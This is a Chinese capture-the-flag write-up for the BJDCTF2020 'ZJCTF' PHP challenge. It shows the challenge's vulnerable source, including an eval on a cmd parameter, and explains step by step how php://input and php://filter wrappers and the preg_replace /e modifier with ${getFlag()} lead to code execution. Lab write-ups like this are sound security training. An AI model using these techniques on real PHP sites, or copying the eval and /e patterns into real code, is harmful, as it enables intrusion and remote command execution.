[BJDCTF2020]ZJCTF,不过如此
[BJDCTF2020]ZJCTF,不过如此
打开靶场
直接给了源码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
有两个参数,text参数用来打开一个文件,文件内容必须为I have a dream才能通过检查
这种情况可以想到用PHP的伪协议input来封装这个文件,具体方法
text传参php://input,在post部分写入文件内容I have a dream
点击提交可以发现,输出了一句话,这句话就是file_get_contents函数的输出结果,证明我们已经通过了if的检查
接着读代码可以发现,file参数的传值中不能出现flag,下面还给出了一个提示:next.php,但不知道里面写了啥,所以可以继续利用PHP伪协议查看文件内容,具体方法
构造?file=php://filter/read=convert.base64-encode/resource=next.php&text=php://input,即可将文件内容以base64编码输出,最后只需解码即可
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei', //修正符:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
对 $_GET as $re => $str
的理解:
这是一个动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str
正则匹配/e的问题
http://www.xinyueseo.com/websecurity/158.html
读了好几遍,真的不能理解,于是只能在本地测试尝试理解
多次本地测试总结:
代码环境:
<?php function complexStrtolower( $regex, $value){ return preg_replace('/('. $regex.')/ei','strtolower("\\1")',$value); } foreach ($_GET as $regex => $value){ echo complexStrtolower($regex, $value)."n"; } ?>
代码环境:
<?php var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}')); ?>
代码:
<?php var_dump(strtolower("\\1")); ?>
代码:
<?php var_dump(preg_replace('/(hello)/ei','\1','hello world!')); ?>
代码:
<?php var_dump(preg_replace('/(hello)/ei','goodby','hello world!')); ?>
大概了解了,正则匹配中\1代表自己,对应上面就是hello被替换成了自己
继续测试
代码:
<?php var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}')); ?>
代码:
<?php function die1(){ die("!!!!!"); } var_dump(preg_replace('/(.*)/ei','\1','${die1()}')); ?>
测试发现在${}中可以调用函数
这样的话,那这题就有思路了,我们可以调用getFlag()函数,再传入cmd参数执行命令即可
由于上面那篇大佬的文章也提到了,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,所以直接传.*会无效
但用大佬给的方法,将.*改成\S*也可以轻松绕过,于是重新构造payload,访问对象此时应该变成next.php了
即可拿到flag!